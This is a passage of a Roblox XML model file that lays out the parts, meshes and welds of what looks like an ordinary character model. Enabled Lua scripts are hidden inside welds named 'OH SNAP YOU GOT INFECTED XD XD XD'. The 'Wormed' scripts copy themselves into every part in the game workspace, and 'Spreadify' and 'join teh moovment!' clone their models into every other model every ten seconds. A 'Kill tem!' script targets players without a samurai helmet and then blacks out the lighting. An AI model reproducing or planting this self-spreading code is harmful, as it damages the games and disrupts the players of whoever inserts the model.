						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX576">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.29999995</X>
								<Y>2</Y>
								<Z>1.29999995</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX577">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX578">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX579">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX580">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX581">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX582">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1032</int>
						<CoordinateFrame name="CFrame">
							<X>75.5000076</X>
							<Y>1.99998784</Y>
							<Z>16.5091248</Z>
							<R00>1</R00>
							<R01>-3.9898697e-007</R01>
							<R02>3.62112019e-006</R02>
							<R10>3.989839e-007</R10>
							<R11>1</R11>
							<R12>8.39218046e-007</R12>
							<R20>-3.62112041e-006</R20>
							<R21>-8.39216625e-007</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX583">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX584">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">z91xw8</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX585">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ewt9qhk2</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX586">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX587">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX588">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX589">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX590">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX591">
					<Properties>
						<string name="Name">OHAI</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX592">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Controls</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX593">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Spreadify</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX594">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX595">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX596">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Kill tem!</string>
								<string name="Source">function noHelmet(chr)

	local s = script.NoHelmet:clone()
	s.Disabled = false
	s.Parent = chr
	
end

function checkHelmets()
	local p = game.Players:GetPlayers()

	for i=1,#p do
		local c = p[i].Character
		if (c ~= nil) then 
			local helmet = c:findFirstChild(&quot;Samurai&quot;)
			if (helmet == nil and c:findFirstChild(&quot;NoHelmet&quot;) == nil) then
				noHelmet(c)
			end
		end
	end
end

function nosamurai()
	while(true) do
		wait(3)
		checkHelmets()
	end
end

if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
	nosamurai()
	wait(600)
	game.Lighting.TimeOfDay = &quot;00:00:00&quot;
	game.Lighting.Brightness = 0
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX597">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">0mbyrb6</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX598">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">join teh moovment!</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;No samurai plzzz&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX599">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">5hsppzvl</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX600">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">x2mdg</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX601">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">tefqwy3he</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX602">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Arm1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX603">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">0000fh</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX604">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>73.5555801</X>
							<Y>3.5345602</Y>
							<Z>16.5000153</Z>
							<R00>0.831463993</R00>
							<R01>0.555566669</R01>
							<R02>7.9955452e-012</R02>
							<R10>-0.55556643</R10>
							<R11>0.83146441</R11>
							<R12>-6.35792764e-012</R12>
							<R20>-2.56361432e-006</R20>
							<R21>-2.68109261e-006</R21>
							<R22>0.999999762</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX605">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>2.5</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX606">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX607">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX608">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX609">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX610">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX611">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">125</int>
						<CoordinateFrame name="CFrame">
							<X>74.0000305</X>
							<Y>4.19976234</Y>
							<Z>16.5000153</Z>
							<R00>0.831469595</R00>
							<R01>0.555570245</R01>
							<R02>3.62112337e-006</R02>
							<R10>-0.555570245</R10>
							<R11>0.831469595</R11>
							<R12>8.04984836e-007</R12>
							<R20>-2.56362841e-006</R20>
							<R21>-2.68110898e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX612">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.699999988</X>
								<Y>3</Y>
								<Z>1.29999995</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX613">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX614">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX615">
								<Properties>
